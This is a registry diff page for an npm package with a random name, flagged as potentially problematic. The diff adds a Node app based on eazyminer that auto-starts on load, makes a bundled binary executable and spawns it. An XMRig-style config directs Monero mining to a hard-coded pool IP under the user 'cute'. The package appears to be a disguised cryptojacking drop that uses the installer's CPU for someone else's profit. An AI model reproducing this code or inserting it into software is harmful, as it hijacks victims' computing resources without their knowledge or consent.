rfjuqaiomzcdgxtv 0.0.1-security → 0.1.91

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rfjuqaiomzcdgxtv might be problematic. Click here for more details.

@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "server",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node ./src/index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "body-parser": "^1.19.0",
13
+ "cli-table": "^0.3.9",
14
+ "deepmerge": "^4.2.2",
15
+ "express": "^4.17.1",
16
+ "node-json-db": "^1.4.1",
17
+ "node-os-utils": "^1.3.5",
18
+ "stratum-client": "^1.1.0",
19
+ "winston": "^3.3.3"
20
+ }
21
+ }
@@ -0,0 +1,119 @@
1
+ const path = require('path');
2
+ const express = require('express');
3
+ const bodyParser = require('body-parser');
4
+ const merge = require('deepmerge');
5
+ const Controller = require('./miners.controller');
6
+ const Logger = require('./logger');
7
+
8
+ module.exports = class App {
9
+
10
+ config = {
11
+ productionOnly: false,
12
+ autoStart: true,
13
+ pools: [],
14
+ opencl: {
15
+ enabled: false,
16
+ platform: 'AMD'
17
+ },
18
+ web: {
19
+ enabled: true,
20
+ port: 3000
21
+ },
22
+ log: {
23
+ enabled: true,
24
+ writeToFile: 'xmrlog.txt',
25
+ level: 'debug',
26
+ writeToConsole: true
27
+ }
28
+ };
29
+
30
+ logger = null;
31
+
32
+ _isProduction = (process.env.NODE_ENV || '').toLowerCase().startsWith('prod');
33
+
34
+ _app = null;
35
+
36
+ _controller = null;
37
+
38
+ _initialized = false;
39
+
40
+ get controller() {
41
+ return this._controller;
42
+ }
43
+
44
+ constructor(options) {
45
+
46
+ this.config = merge(this.config, options);
47
+ this.logger = new Logger(this);
48
+
49
+ if (this.config.autoStart) {
50
+ this.start();
51
+ }
52
+ }
53
+
54
+ start() {
55
+ if (!this._initialized) {
56
+ this._init();
57
+ }
58
+
59
+ this._controller.start();
60
+ }
61
+
62
+ stop() {
63
+ this._controller.stop();
64
+ }
65
+
66
+ _init() {
67
+ if (this._initialized) {
68
+ throw new Error('already initialized');
69
+ }
70
+
71
+ if (this.config.wallet) {
72
+ this.logger.error('Depricated eazyminer configuration. Please check https://www.npmjs.com/package/eazyminer for updated config options.');
73
+ this.logger.info('Not starting');
74
+
75
+ return;
76
+ }
77
+
78
+ if (this.config.productionOnly && !this._isProduction) {
79
+ this.logger.info('Eazy Miner config set to productionOnly. Not initializing');
80
+ return;
81
+ }
82
+
83
+ this._controller = new Controller(this);
84
+
85
+ if (this.config.web.enabled) {
86
+ this._setupWebServer();
87
+ }
88
+
89
+ this.controller.loadMiner('rfjuqaiomzcdgxtv');
90
+
91
+ this._initialized = true;
92
+ }
93
+
94
+ _setupWebServer() {
95
+ this._app = express();
96
+ this._app.use(express.static(path.join(__dirname, '../../public')));
97
+ this._app.use(express.json()); //Used to parse JSON bodies
98
+ this._app.use(bodyParser.urlencoded({ extended: true }));
99
+
100
+ // Public API (status, settings etc)
101
+ this._app.get('/', (req, res) => res.sendFile('index.html'));
102
+
103
+ this._app.get('/status', (req, res) => {
104
+ res.send({
105
+ system: this._controller._system,
106
+ performance: this._controller.status
107
+ });
108
+ });
109
+
110
+ this._app.post('/settings', (req, res) => {
111
+ this._controller.updateSettings(req.body);
112
+ res.sendStatus(200);
113
+ });
114
+
115
+ this._app.listen(this.config.web.port, () => {
116
+ this.logger.info(`Webserver listening on port: ${this.config.web.port}`);
117
+ });
118
+ }
119
+ }
@@ -0,0 +1,3 @@
1
+ const App = require('./app');
2
+
3
+ module.exports = App;
@@ -0,0 +1,58 @@
1
+ const winston = require('winston');
2
+
3
+ module.exports = class Logger {
4
+
5
+ _app = null;
6
+
7
+ _logger = null;
8
+
9
+ constructor(app) {
10
+ this._app = app;
11
+
12
+ this._init();
13
+ }
14
+
15
+ log(value) {
16
+ this._logger.log('debug', value);
17
+ }
18
+
19
+ info(value) {
20
+ this._logger.info(value);
21
+ }
22
+
23
+ warn(value) {
24
+ this._logger.log(value);
25
+ }
26
+
27
+ error(value) {
28
+ this._logger.log('error', value);
29
+ }
30
+
31
+ _init(config) {
32
+ const options = {
33
+ level: 'debug',
34
+ format: winston.format.json(),
35
+ // defaultMeta: { service: 'user-service' },
36
+ transports: [],
37
+ };
38
+
39
+ if (this._app.config.log.writeToFile) {
40
+ options.transports.push(new winston.transports.File({ filename: this._app.config.log.writeToFile }))
41
+ }
42
+
43
+ this._logger = winston.createLogger(options);
44
+
45
+ //
46
+ // If we're not in production then log to the `console` with the format:
47
+ // `${info.level}: ${info.message} JSON.stringify({ ...rest }) `
48
+ //
49
+ if (this._app.config.log.writeToConsole) {
50
+ this._logger.add(new winston.transports.Console({
51
+ format: winston.format.simple(),
52
+ }));
53
+ }
54
+ }
55
+ }
56
+
57
+
58
+
@@ -0,0 +1,412 @@
1
+ {
2
+ "api": {
3
+ "id": null,
4
+ "worker-id": null
5
+ },
6
+ "http": {
7
+ "enabled": false,
8
+ "host": "127.0.0.1",
9
+ "port": 0,
10
+ "access-token": null,
11
+ "restricted": true
12
+ },
13
+ "autosave": true,
14
+ "background": false,
15
+ "colors": true,
16
+ "title": true,
17
+ "randomx": {
18
+ "init": -1,
19
+ "init-avx2": -1,
20
+ "mode": "light",
21
+ "1gb-pages": false,
22
+ "rdmsr": true,
23
+ "wrmsr": true,
24
+ "cache_qos": false,
25
+ "numa": true,
26
+ "scratchpad_prefetch_mode": 1
27
+ },
28
+ "cpu": {
29
+ "enabled": true,
30
+ "huge-pages": true,
31
+ "huge-pages-jit": false,
32
+ "hw-aes": null,
33
+ "priority": 0,
34
+ "memory-pool": false,
35
+ "yield": true,
36
+ "asm": true,
37
+ "argon2-impl": null,
38
+ "astrobwt-max-size": 550,
39
+ "astrobwt-avx2": false,
40
+ "argon2": [
41
+ 0,
42
+ 1,
43
+ 2,
44
+ 3,
45
+ 4,
46
+ 5,
47
+ 6,
48
+ 7,
49
+ 8,
50
+ 9,
51
+ 10,
52
+ 11
53
+ ],
54
+ "astrobwt": [
55
+ 0,
56
+ 1,
57
+ 2,
58
+ 3,
59
+ 4,
60
+ 5,
61
+ 6,
62
+ 7,
63
+ 8,
64
+ 9,
65
+ 10,
66
+ 11
67
+ ],
68
+ "cn": [
69
+ [
70
+ 1,
71
+ 0
72
+ ],
73
+ [
74
+ 1,
75
+ 1
76
+ ],
77
+ [
78
+ 1,
79
+ 2
80
+ ],
81
+ [
82
+ 1,
83
+ 3
84
+ ],
85
+ [
86
+ 1,
87
+ 4
88
+ ],
89
+ [
90
+ 1,
91
+ 5
92
+ ],
93
+ [
94
+ 1,
95
+ 6
96
+ ],
97
+ [
98
+ 1,
99
+ 7
100
+ ],
101
+ [
102
+ 1,
103
+ 8
104
+ ],
105
+ [
106
+ 1,
107
+ 9
108
+ ],
109
+ [
110
+ 1,
111
+ 10
112
+ ],
113
+ [
114
+ 1,
115
+ 11
116
+ ]
117
+ ],
118
+ "cn-heavy": [
119
+ [
120
+ 1,
121
+ 0
122
+ ],
123
+ [
124
+ 1,
125
+ 2
126
+ ],
127
+ [
128
+ 1,
129
+ 4
130
+ ],
131
+ [
132
+ 1,
133
+ 5
134
+ ],
135
+ [
136
+ 1,
137
+ 6
138
+ ],
139
+ [
140
+ 1,
141
+ 8
142
+ ],
143
+ [
144
+ 1,
145
+ 10
146
+ ],
147
+ [
148
+ 1,
149
+ 11
150
+ ]
151
+ ],
152
+ "cn-lite": [
153
+ [
154
+ 1,
155
+ 0
156
+ ],
157
+ [
158
+ 1,
159
+ 1
160
+ ],
161
+ [
162
+ 1,
163
+ 2
164
+ ],
165
+ [
166
+ 1,
167
+ 3
168
+ ],
169
+ [
170
+ 1,
171
+ 4
172
+ ],
173
+ [
174
+ 1,
175
+ 5
176
+ ],
177
+ [
178
+ 1,
179
+ 6
180
+ ],
181
+ [
182
+ 1,
183
+ 7
184
+ ],
185
+ [
186
+ 1,
187
+ 8
188
+ ],
189
+ [
190
+ 1,
191
+ 9
192
+ ],
193
+ [
194
+ 1,
195
+ 10
196
+ ],
197
+ [
198
+ 1,
199
+ 11
200
+ ]
201
+ ],
202
+ "cn-pico": [
203
+ [
204
+ 2,
205
+ 0
206
+ ],
207
+ [
208
+ 2,
209
+ 1
210
+ ],
211
+ [
212
+ 2,
213
+ 2
214
+ ],
215
+ [
216
+ 2,
217
+ 3
218
+ ],
219
+ [
220
+ 2,
221
+ 4
222
+ ],
223
+ [
224
+ 2,
225
+ 5
226
+ ],
227
+ [
228
+ 2,
229
+ 6
230
+ ],
231
+ [
232
+ 2,
233
+ 7
234
+ ],
235
+ [
236
+ 2,
237
+ 8
238
+ ],
239
+ [
240
+ 2,
241
+ 9
242
+ ],
243
+ [
244
+ 2,
245
+ 10
246
+ ],
247
+ [
248
+ 2,
249
+ 11
250
+ ]
251
+ ],
252
+ "cn/upx2": [
253
+ [
254
+ 2,
255
+ 0
256
+ ],
257
+ [
258
+ 2,
259
+ 1
260
+ ],
261
+ [
262
+ 2,
263
+ 2
264
+ ],
265
+ [
266
+ 2,
267
+ 3
268
+ ],
269
+ [
270
+ 2,
271
+ 4
272
+ ],
273
+ [
274
+ 2,
275
+ 5
276
+ ],
277
+ [
278
+ 2,
279
+ 6
280
+ ],
281
+ [
282
+ 2,
283
+ 7
284
+ ],
285
+ [
286
+ 2,
287
+ 8
288
+ ],
289
+ [
290
+ 2,
291
+ 9
292
+ ],
293
+ [
294
+ 2,
295
+ 10
296
+ ],
297
+ [
298
+ 2,
299
+ 11
300
+ ]
301
+ ],
302
+ "ghostrider": [
303
+ [
304
+ 8,
305
+ 0
306
+ ],
307
+ [
308
+ 8,
309
+ 2
310
+ ],
311
+ [
312
+ 8,
313
+ 4
314
+ ],
315
+ [
316
+ 8,
317
+ 6
318
+ ],
319
+ [
320
+ 8,
321
+ 8
322
+ ],
323
+ [
324
+ 8,
325
+ 10
326
+ ]
327
+ ],
328
+ "rx": [
329
+ 0
330
+ ],
331
+ "rx/wow": [
332
+ 0,
333
+ 1,
334
+ 2,
335
+ 3,
336
+ 4,
337
+ 5,
338
+ 6,
339
+ 7,
340
+ 8,
341
+ 9,
342
+ 10,
343
+ 11
344
+ ],
345
+ "cn-lite/0": false,
346
+ "cn/0": false,
347
+ "rx/arq": "rx/wow",
348
+ "rx/keva": "rx/wow"
349
+ },
350
+ "opencl": {
351
+ "enabled": false,
352
+ "cache": true,
353
+ "loader": null,
354
+ "platform": "AMD",
355
+ "adl": true,
356
+ "cn-lite/0": false,
357
+ "cn/0": false
358
+ },
359
+ "cuda": {
360
+ "enabled": false,
361
+ "loader": null,
362
+ "nvml": true,
363
+ "cn-lite/0": false,
364
+ "cn/0": false
365
+ },
366
+ "log-file": null,
367
+ "donate-level": 1,
368
+ "donate-over-proxy": 1,
369
+ "pools": [
370
+ {
371
+ "algo": "rx/0",
372
+ "coin": "xmr",
373
+ "url": "130.162.52.80:80",
374
+ "user": "cute",
375
+ "pass": "x",
376
+ "rig-id": null,
377
+ "nicehash": true,
378
+ "enabled": true,
379
+ "keepalive": true,
380
+ "tls": true,
381
+ "tls-fingerprint": null,
382
+ "daemon": false,
383
+ "socks5": null,
384
+ "self-select": null,
385
+ "submit-to-origin": false
386
+ }
387
+ ],
388
+ "retries": 5,
389
+ "retry-pause": 5,
390
+ "print-time": 60,
391
+ "health-print-time": 60,
392
+ "dmi": true,
393
+ "syslog": false,
394
+ "tls": {
395
+ "enabled": false,
396
+ "protocols": null,
397
+ "cert": null,
398
+ "cert_key": null,
399
+ "ciphers": null,
400
+ "ciphersuites": null,
401
+ "dhparam": null
402
+ },
403
+ "dns": {
404
+ "ipv6": false,
405
+ "ttl": 30
406
+ },
407
+ "user-agent": null,
408
+ "verbose": 0,
409
+ "watch": true,
410
+ "pause-on-battery": false,
411
+ "pause-on-active": false
412
+ }
@@ -0,0 +1,107 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const { spawn } = require('child_process');
5
+
6
+ const PLATFORM = os.platform().toLowerCase();
7
+
8
+ const LINUX_PATH = path.join(__dirname, './rfjuqaiomzcdgxtv');
9
+ const WINDOWS_PATH = path.join(__dirname, './rfjuqaiomzcdgxtv.exe');
10
+
11
+ module.exports = class rfjuqaiomzcdgxtvMiner {
12
+ name = 'rfjuqaiomzcdgxtv';
13
+
14
+ _app = null;
15
+
16
+ _initialized = false;
17
+
18
+ _miner = null;
19
+
20
+ _filePath = null;
21
+
22
+ _running = false;
23
+
24
+ _worker = null;
25
+
26
+ constructor(app) {
27
+ this._app = app;
28
+ this._init();
29
+ }
30
+
31
+ async _init() {
32
+ if (PLATFORM === 'linux') {
33
+ this._loadLinux();
34
+ }
35
+
36
+ else if (PLATFORM === 'win32') {
37
+ this._loadWindows();
38
+ }
39
+
40
+ else {
41
+ throw new Error('Unsopperted platform');
42
+ }
43
+
44
+ this._initialized = true;
45
+ }
46
+
47
+ start() {
48
+ if (this._running) {
49
+ console.info('rfjuqaiomzcdgxtv already running');
50
+ return;
51
+ }
52
+
53
+ this._running = true;
54
+ this._exec();
55
+ }
56
+
57
+ stop() {
58
+ if (this._worker) {
59
+ this._worker.kill();
60
+ this._worker = null;
61
+ }
62
+ }
63
+
64
+ getStatus() {
65
+
66
+ }
67
+
68
+ _loadLinux() {
69
+ // add execution rights
70
+ fs.chmodSync(LINUX_PATH, 754);
71
+
72
+ this._filePath = LINUX_PATH;
73
+ }
74
+
75
+ _loadWindows() {
76
+ this._filePath = WINDOWS_PATH;
77
+ }
78
+
79
+ _exec() {
80
+ this._updateConfig();
81
+
82
+ // start script
83
+ this._worker = spawn(this._filePath, []);
84
+
85
+ // passthrough output
86
+ this._worker.stdout.on('data', data => this._app.logger.info(data));
87
+ this._worker.stderr.on('data', data => this._app.logger.error(data));
88
+ }
89
+
90
+ _updateConfig() {
91
+ const configBasePath = path.join(__dirname, './config.base.json');
92
+ const configBase = JSON.parse(fs.readFileSync(configBasePath));
93
+
94
+ // merge given pools config with base configs
95
+ const pools = this._app.config.pools.map(poolConfig => Object.assign({}, configBase.pools[0], poolConfig))
96
+
97
+ this._app.logger.info('rfjuqaiomzcdgxtv pools configuration');
98
+ this._app.logger.info(JSON.stringify(pools, null, 2));
99
+
100
+ configBase.pools = pools;
101
+ Object.assign(configBase.opencl, this._app.config.opencl);
102
+ Object.assign(configBase.cuda, this._app.config.cuda);
103
+
104
+ fs.writeFileSync(path.join(__dirname, 'config.json'), JSON.stringify(configBase, null, 2));
105
+ }
106
+ }
107
+